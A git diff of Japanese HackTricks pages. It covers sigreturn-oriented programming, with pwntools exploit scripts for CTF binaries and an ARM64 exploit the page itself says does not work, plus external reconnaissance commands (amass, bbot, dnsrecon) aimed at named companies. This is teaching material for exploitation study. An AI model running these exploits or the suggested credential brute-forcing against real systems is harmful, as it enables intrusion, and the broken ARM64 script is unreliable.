* 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するためには、bofを使用して`.bss`セクションとより大きなサイズで再び`read`を呼び出し、そこに`dlresolve`の偽のテーブルを格納して`system`をロードし、mainに戻り、最初のbofを再度悪用してdlresolveを呼び出し、`system('/bin/sh')`を実行します。
|
||||
|
|
|
@ -2,37 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>から<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
**`Sigreturn`**は、主にシグナルハンドラが実行を完了した後のクリーンアップに使用される特別な**シスコール**です。シグナルは、オペレーティングシステムによってプログラムに送信される割り込みであり、通常は何らかの例外的な状況が発生したことを示すために送信されます。プログラムがシグナルを受信すると、**シグナルハンドラ**と呼ばれる特別な関数を使用してシグナルを処理するために現在の作業を一時停止します。
|
||||
**`Sigreturn`** は、主にシグナルハンドラが実行を完了した後のクリーンアップに使用される特別な **シスコール** です。シグナルは、オペレーティングシステムによってプログラムに送信される割り込みであり、通常は何らかの例外的な状況が発生したことを示すために送信されます。プログラムがシグナルを受信すると、現在の作業を一時停止して、シグナルを処理するための **シグナルハンドラ** と呼ばれる特別な関数で処理します。
|
||||
|
||||
シグナルハンドラが完了した後、プログラムは何も起こらなかったかのように**以前の状態に戻る必要があります**。ここで**`sigreturn`**が重要になります。これにより、プログラムは**シグナルハンドラから戻り**、シグナルハンドラで使用されたスタックフレーム(関数呼び出しとローカル変数を格納するメモリセクション)をクリーンアップしてプログラムの状態を復元できます。
|
||||
シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る必要があります。** ここで **`sigreturn`** が登場します。これにより、プログラムは **シグナルハンドラから戻り**、シグナルハンドラで使用されたスタックフレーム(関数呼び出しとローカル変数を格納するメモリセクション)をクリーンアップしてプログラムの状態を復元できます。
|
||||
|
||||
興味深いのは、**`sigreturn`**がプログラムの状態を復元する方法です:**CPUのすべてのレジスタ値をスタックに保存**しています。シグナルがブロックされなくなると、**`sigreturn`はこれらの値をスタックからポップ**して、CPUのレジスタをシグナルが処理される前の状態に効果的にリセットします。これには、スタックポインタレジスタ(RSP)も含まれます。これは現在のスタックのトップを指すレジスタです。
|
||||
興味深いのは、**`sigreturn`** がプログラムの状態を復元する方法です:これは、**CPUのすべてのレジスタ値をスタックに保存することで行います。** シグナルがブロックされなくなると、**`sigreturn` はこれらの値をスタックからポップ**して、効果的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックポインタレジスタ(RSP)も含まれます。これは現在のスタックのトップを指すレジスタです。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ROPチェーンからシスコール**`sigreturn`を呼び出し、**スタック**に読み込んでおきたい**レジストリ値を追加**することで、すべてのレジスタ値を**制御**し、その結果、`/bin/sh`で`execve`シスコールを呼び出すことが可能です。
|
||||
ROPチェーンから **`sigreturn`** を呼び出し、**スタックにロードしたいレジストリ値を追加**することで、すべてのレジスタ値を **制御** し、そのために例えば `/bin/sh` で `execve` シスコールを呼び出すことが可能です。
|
||||
{% endhint %}
|
||||
|
||||
これは、他のRet2syscallsを呼び出すためのパラメータを制御しやすくする**Ret2syscallの一種**であることに注意してください:
|
||||
これは、他の Ret2syscall を呼び出すためのパラメータを制御しやすくする **Ret2syscall の一種** であることに注意してください:
|
||||
|
||||
{% content-ref url="../rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](../rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
興味がある場合は、後で値を回復するためにスタックに保存される**sigcontext構造**を見てみてください([**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)からの図)。
|
||||
興味がある場合は、後で値を回復するためにスタックに保存される **sigcontext 構造** を見てみてください([**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)の図表から)。
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
|
@ -74,7 +74,7 @@ ROPチェーンからシスコール**`sigreturn`を呼び出し、**スタッ
|
|||
|
||||
## 例
|
||||
|
||||
[**ここで例を見つけることができます**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)。ここでは、signeturnへの呼び出しがROPを介して構築されています(rxaに値`0xf`を入れる)。ただし、これがそこからの最終的なエクスプロイトです:
|
||||
[**こちらの例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)で、signeturnへの呼び出しがROPを介して構築されているのがわかります(rxaに値`0xf`を入れる)。ただし、これはそこからの最終的なエクスプロイトです:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -101,7 +101,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
以下の[**こちらのエクスプロイト**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)もチェックしてください。バイナリがすでに`sigreturn`を呼び出しているため、**ROP**を構築する必要はありません。
|
||||
以下は、バイナリがすでに`sigreturn`を呼び出していたため、**ROP**を構築する必要がない場所からの[**exploitはこちら**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)をチェックしてください。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -139,10 +139,12 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* **スタックに書き込み**を許可するアセンブリバイナリで、その後**`sigreturn`**シスコールを呼び出します。**sigreturn**構造を介してスタックに[**ret2syscall**](../rop-syscall-execv/)を書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
|
||||
* **スタックに書き込み**を許可し、その後**`sigreturn`**シスコールを呼び出すアセンブリバイナリ。**sigreturn**構造を介して**[**ret2syscall**](../rop-syscall-execv/)**をスタックに書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* **スタックに書き込み**を許可するアセンブリバイナリで、その後**`sigreturn`**シスコールを呼び出します。**sigreturn**構造を介してスタックに[**ret2syscall**](../rop-syscall-execv/)を書き込むことが可能です(バイナリには文字列 `/bin/sh` が含まれています)。
|
||||
* **スタックに書き込み**を許可し、その後**`sigreturn`**シスコールを呼び出すアセンブリバイナリ。**sigreturn**構造を介して**[**ret2syscall**](../rop-syscall-execv/)**をスタックに書き込むことが可能です(バイナリには文字列 `/bin/sh` が含まれています)。
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64ビット、relroなし、canaryなし、nx、pieなし。`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行するガジェットが不足しています。ROPチェーンは、再度getsを呼び出して`.bss`に`/bin/sh`を書き込み、`alarm`関数を悪用してeaxを`0xf`に設定して**SROP**を呼び出し、シェルを実行します。
|
||||
* 64ビット、relroなし、canaryなし、nx、pieなし。`gets`関数を悪用したシンプルなバッファオーバーフローで、**[**ret2syscall**](../rop-syscall-execv/)**を実行します。ROPチェーンは、再度getsを呼び出して`.bss`に`/bin/sh`を書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定して**SROP**を呼び出し、シェルを実行します。
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、複数のレジスタを制御し、シスコールを呼び出してから`exit`を呼び出します。選択されたシスコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシスコール命令を呼び出して`memprotect`を実行してバイナリスペースを`rwx`に設定し、ESPをバイナリスペースに設定します。フローに従うと、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指すようになるため、シェルコードを渡すと次の命令として書き込まれ、実行されます。
|
||||
* 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、複数のレジスタを制御し、シスコールを呼び出してから`exit`を呼び出します。選択されたシスコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシスコール命令を呼び出して`memprotect`を実行してバイナリスペースを`rwx`に設定し、ESPをバイナリスペースに設定します。フローに従うと、プログラムは再度ESPにreadを呼び出しますが、この場合ESPは次の命令を指すようになるため、シェルコードを渡すと次の命令として書き込まれ、実行されます。
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
* SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
## コード
|
||||
## Code
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -42,16 +42,57 @@ return 0;
|
|||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## 攻撃手法
|
||||
|
||||
攻撃手法は、bofを悪用して**`sigreturn`**への呼び出しに戻り、`/bin/sh`へのポインタを使用して**`execve`**を呼び出すようにスタックを準備します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
何らかの理由で、**`sigreturn`**への呼び出しが機能しないため、攻撃がうまくいかない。
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./srop')
|
||||
elf = context.binary = ELF('./srop')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
|
||||
svc_call = 0x00000000004006a4 # svc #0x0
|
||||
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh # pointer to /bin/sh
|
||||
frame.x1 = 0x4343434343434343 # NULL
|
||||
frame.x2 = 0x0 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += b"B" * len(bytes(frame))
|
||||
|
||||
with open("/tmp/i", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -22,14 +22,14 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 資産の発見
|
||||
|
||||
> ある企業に属するすべてのものが対象に含まれていると言われ、この企業が実際に何を所有しているかを把握したいと思っています。
|
||||
> ある企業に属するすべてのものが対象であると言われ、この企業が実際に所有しているものを特定したいと思っています。
|
||||
|
||||
このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します:
|
||||
|
||||
1. 主要企業の買収を見つけることで、対象に含まれる企業を取得します。
|
||||
2. 各企業のASN(存在する場合)を見つけることで、各企業が所有するIP範囲を取得します。
|
||||
3. 逆whois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。
|
||||
4. shodanの`org`および`ssl`フィルタなどの他のテクニックを使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
|
||||
1. 主要企業の買収を見つけることで、対象となる企業を取得します。
|
||||
2. 各企業のASN(あれば)を見つけることで、各企業が所有するIP範囲を取得します。
|
||||
3. リバースWhois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。
|
||||
4. 他の手法(shodanの`org`および`ssl`フィルタなど)を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
|
||||
|
||||
### **買収**
|
||||
|
||||
|
@ -37,22 +37,22 @@ HackTricksをサポートする他の方法:
|
|||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、「**買収**」を**クリック**することです。そこで、主要企業によって取得された他の企業が表示されます。\
|
||||
もう1つのオプションは、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
||||
|
||||
> この時点で、対象に含まれるすべての企業を把握するはずです。それでは、彼らの資産を見つける方法を考えてみましょう。
|
||||
> この時点で、対象となるすべての企業を把握しているはずです。それらの資産を見つける方法を見つけましょう。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられた**一意の番号**です。\
|
||||
自律システム番号(**ASN**)は、インターネット割り当て番号機関(IANA)によって自律システム(AS)に割り当てられた**一意の番号**です。\
|
||||
**AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。
|
||||
|
||||
企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。その**IP範囲**を見つけるために**脆弱性テスト**を実行し、**スコープ**内のすべての**ホスト**に対して検索し、これらのIP内の**ドメイン**を探すことが重要です。\
|
||||
企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内のドメインを検索することが重要です。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索できます。\
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、 [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、 [**APNIC**](https://www.apnic.net) **(アジア)**、 [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、 [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。
|
||||
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメインの列挙は、スキャンの最後にASNを自動的に集約して要約します。
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,26 +69,26 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
組織のIP範囲を見つけることもできます [http://asnlookup.com/](http://asnlookup.com)(無料APIを提供)。\
|
||||
ドメインのIPとASNを見つけることができます [http://ipv4info.com/](http://ipv4info.com)。
|
||||
組織のIP範囲を見つけることもできます。[http://asnlookup.com/](http://asnlookup.com)(無料APIを利用可能)。\
|
||||
ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合はすべてのホストに対して **脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけたものに応じて、この書籍で実行方法を確認するべき可能なサービスをペンテストすることができます。\
|
||||
**また、デフォルトのユーザー名**と**パスワードのリストを用意して**、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスをブルートフォースすることもできます。
|
||||
この時点で、**スコープ内のすべての資産**がわかっているので、許可されている場合はすべてのホストに対して**脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodanのようなサービスを使用して**オープンポートを見つけ、見つけたものに応じて**この書籍で実行方法を確認することができます。\
|
||||
**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスを**ブルートフォース**することもできます。
|
||||
|
||||
## ドメイン
|
||||
|
||||
> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。
|
||||
> スコープ内のすべての企業とその資産がわかっているので、スコープ内のドメインを見つける時が来ました。
|
||||
|
||||
_以下に示す提案された手法では、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
_以下の提案された手法では、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
|
||||
まず、各企業の **メインドメイン** を探すべきです。例えば、_Tesla Inc._ の場合は _tesla.com_ になります。
|
||||
まず、各企業の**メインドメイン**を探すべきです。例えば、_Tesla Inc._の場合は _tesla.com_ になります。
|
||||
|
||||
### **逆引きDNS**
|
||||
|
||||
ドメインのIP範囲を見つけたので、それらのIPに対して **逆引きDNSルックアップ** を試みて、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
ドメインのIP範囲をすべて見つけたので、これらの**IPに逆引きDNSルックアップ**を試みて、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -97,16 +97,16 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
```
|
||||
### **リバースWhois(ループ)**
|
||||
|
||||
**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールが登場する他のwhoisレジストリ)。\
|
||||
**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールアドレスが登場する他のwhoisレジストリ)。\
|
||||
以下のようなオンラインツールを使用できます:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料** web、APIは無料ではありません。
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回まで無料**検索)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料** web、APIは有料
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 有料
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 有料(**100回無料**検索)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - 有料
|
||||
|
||||
[**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\
|
||||
また、[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhois検出を行うこともできます: `amass intel -d tesla.com -whois`
|
||||
|
@ -115,8 +115,8 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **トラッカー**
|
||||
|
||||
2つの異なるページで**同じトラッカーの同じID**を見つけると、**両方のページ**が**同じチームによって管理されている**と推測できます。\
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見つけた場合。
|
||||
2つの異なるページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推定できます。\
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合です。
|
||||
|
||||
これらのトラッカーやその他の情報を検索できるいくつかのページやツールがあります:
|
||||
